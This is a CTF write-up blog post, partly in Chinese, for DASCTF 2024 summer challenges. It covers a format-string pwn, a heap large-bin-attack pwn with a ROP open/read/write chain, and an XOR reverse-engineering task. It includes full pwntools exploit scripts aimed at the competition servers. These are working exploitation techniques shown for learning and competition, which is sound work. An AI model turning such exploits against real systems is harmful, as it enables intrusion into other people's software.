nyyyddddn

dasctf2024_summer_challenge

2024/07/22

题目附件https://github.com/nyyyddddn/ctf/tree/main/dasctf2024_summer_challenge

pwn

spring_board

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-4h]

myinit(argc, argv, envp);
puts("Life is not boring, dreams are not out of reach.");
puts("Sometimes you just need a springboard.");
puts("Then you can see a wider world.");
puts("There may be setbacks along the way.");
puts("But keep your love of life alive.");
puts("I believe that you will succeed.");
puts("Good luck.");
putchar(10);
puts("Here's a simple pwn question, challenge yourself.");
for ( i = 0; i <= 4; ++i )
{
puts("You have an 5 chances to get a flag");
printf("This is the %d time\n", (unsigned int)(i + 1));
puts("Please enter a keyword");
read(0, bss, 0x40uLL);
printf(bss);
}
return 0;
}

非栈上格式化字符串,需要找一个指向栈的双重指针去写地址,然后调整双重指针实现任意地址写,got表可以写,这个情况有点麻烦,除非一次写四个字节?远程试了几次发现能写成功?? 也可以写main的返回地址为onegadget吧,这样就不用一次写这么多字节了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node5.buuoj.cn"
PORT = 28552

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()
# _libc_stack
payload = "-%9$p-%11$p"

# ru("Please enter a keyword")
s(payload)

ru('-')
libc_base = int(r(14),16) - (0x7ba6ad020840 - 0x7ba6ad000000)
ru('-')
stack = int(r(14),16)

success(hex(libc_base))
success(hex(stack))

target_i = stack - (0x7ffd3b5bd3a8 - 0x7ffd3b5bd2bc)
success(hex(target_i))

one_gadget = libc_base + 0xf1247
system = libc_base + libc.sym['system']
puts_got = 0x601020
printf_got = 0x0000000000601028

success(f"one_gadget ->{hex(one_gadget)}")


# pwndbg> fmtarg 0x7ffec2942308
# The index of format argument : 12 ("\%11$p")
# pwndbg> fmtarg 0x7ffec29423d8
# The index of format argument : 38 ("\%37$p")

payload = b"%" + str(printf_got & 0xffffff).encode() + b"c%11$lln\x00"
# g(p)
s(payload)

# g(p)
payload = b"%" + str(one_gadget & 0xffffffff).encode() + b"c%37$n\x00"
success(hex(system))

s(payload)


# g(p)
s(b'/bin/sh\x00')


p.interactive()

magicbook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
sandbox();
menu1();
dest = malloc(0x100uLL);
while ( 1 )
{
book = (unsigned __int16)book;
menu2();
__isoc99_scanf("%d", &v3);
if ( v3 == 4 )
exit(0);
if ( v3 > 4 )
{
LABEL_12:
puts("Invalid choice");
}
else
{
switch ( v3 )
{
case 3:
edit_the_book();
break;
case 1:
creat_the_book();
break;
case 2:
delete_the_book();
break;
default:
goto LABEL_12;
}
}
}
}

void *edit_the_book()
{
size_t v0; // rax
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("come on,Write down your story!");
read(0, buf, book);
v0 = strlen(buf);
return memcpy(dest, buf, v0);
}

size_t creat_the_book()
{
size_t v0; // rbx
__int64 size[2]; // [rsp+Ch] [rbp-14h] BYREF

if ( book > 5 )
{
puts("full!!");
exit(0);
}
printf("the book index is %d\n", book);
puts("How many pages does your book need?");
LODWORD(size[0]) = 0;
__isoc99_scanf("%u", size);
if ( LODWORD(size[0]) > 0x500 )
{
puts("wrong!!");
exit(0);
}
v0 = book;
p[v0] = malloc(LODWORD(size[0]));
return ++book;
}

__int64 delete_the_book()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch] BYREF
char buf[8]; // [rsp+8h] [rbp-8h] BYREF

puts("which book would you want to delete?");
__isoc99_scanf("%d", &v2);
if ( v2 > 5 || !p[v2] )
{
puts("wrong!!");
exit(0);
}
free((void *)p[v2]);
puts("Do you want to say anything else before being deleted?(y/n)");
read(0, buf, 4uLL);
if ( d && (buf[0] == 89 || buf[0] == 121) )
{
puts("which page do you want to write?");
__isoc99_scanf("%u", &v1);
if ( v1 > 4 || !p[v2] )
{
puts("wrong!!");
exit(0);
}
puts("content: ");
read(0, (void *)(p[v1] + 8LL), 0x18uLL);
--d;
return 0LL;
}
else
{
if ( d )
puts("ok!");
else
puts("no ways!!");
return 0LL;
}
}

约束非常多,程序没有canary,给了一个elf的地址,并且把execve给禁用了,通过large bin attack插入时利用构造一个任意地址写,往book那写一个很大的数字,这样edit read的时候就能溢出覆盖返回地址,然后就是正常的rop + orw了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "48.218.22.35"
PORT = 10000

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def create(size):
sla("Your choice:","1")
sla("How many pages does your book need?",str(size))

def delete(idx,y = 0,idx1 = 0,content = b''):
sla("Your choice:","2")
sla("which book would you want to delete?",str(idx))
if y:
sla("Do you want to say anything else before being deleted?(y/n)","y")
sla("which page do you want to write?",str(idx1))
sa("content: ",content)
else:
sla("Do you want to say anything else before being deleted?(y/n)","n")

def edit(content):
sla("Your choice:","3")
sa("come on,Write down your story!",content)


ru("give you a gift: ")
d = int(r(14),16)
elf_base = d - 0x4010
success(hex(d))
success(hex(elf_base))

create(0x4d8)
create(0x38)
create(0x4b8)

delete(0)
create(0x500) # large bin

book = elf_base + 0x000000000004050
delete(2,1,0,p64(0) * 2 + p64(book - 0x20))
create(0x500) # large bin attack

rdi = elf_base + 0x0000000000001863
rsi = elf_base + 0x0000000000001861 # pop rsi r15 ret
bss = elf_base + 0x4110
edit_func = elf_base + 0x0000000000015E1

puts_got = elf_base + elf.got['puts']
puts_plt = elf_base + elf.plt['puts']

payload = b'a' * 0x28 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(edit_func)
edit(payload)
rl()
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['puts']
success(hex(libc_base))


rdx = libc_base + 0x000000000011f2e7 # pop rdx r12 ret
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']


payload = b'a' * 0x28 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(edit_func)
time.sleep(0.3)
sl(payload)

payload = flat([
b'a' * 0x28,
rdi,0,rsi,bss,0,rdx,0x8,0,read,
rdi,bss,rsi,0,0,open,
rdi,3,rsi,bss,0,rdx,0x40,0,read,
rdi,1,rsi,bss,0,rdx,0x40,0,write
])

time.sleep(1)
sl(payload)

success(hex(bss))
# g(p)
time.sleep(1)
s(b'./flag\x00\x00')


# g(p)

p.interactive()

re

DosSnake

16位的程序,发现有一个dasctf的字段,查找dasctf字段的引用发现这样一段逻辑,可以发现就是一个简单的异或加密,置反一下得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
encrypted_data = [
0x3F, 0x09, 0x63, 0x34, 0x32, 0x13, 0x2A, 0x2F, 0x2A, 0x37,
0x3C, 0x23, 0x00, 0x2E, 0x20, 0x10, 0x3A, 0x27, 0x2F, 0x24,
0x3A, 0x30, 0x75, 0x67, 0x65, 0x3C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
]

key = [0x44, 0x41, 0x53, 0x43, 0x54, 0x46]
key_length = len(key)

decrypted_data = []

for i in range(len(encrypted_data)):
decrypted_byte = encrypted_data[i] ^ key[i % key_length]
decrypted_data.append(decrypted_byte)

for i in decrypted_data:
print(chr(i),end="")
# {H0wfUnnytheDosSnakeis!!!}
CATALOG
  1. 1. pwn
    1. 1.1. spring_board
    2. 1.2. magicbook
  2. 2. re
    1. 2.1. DosSnake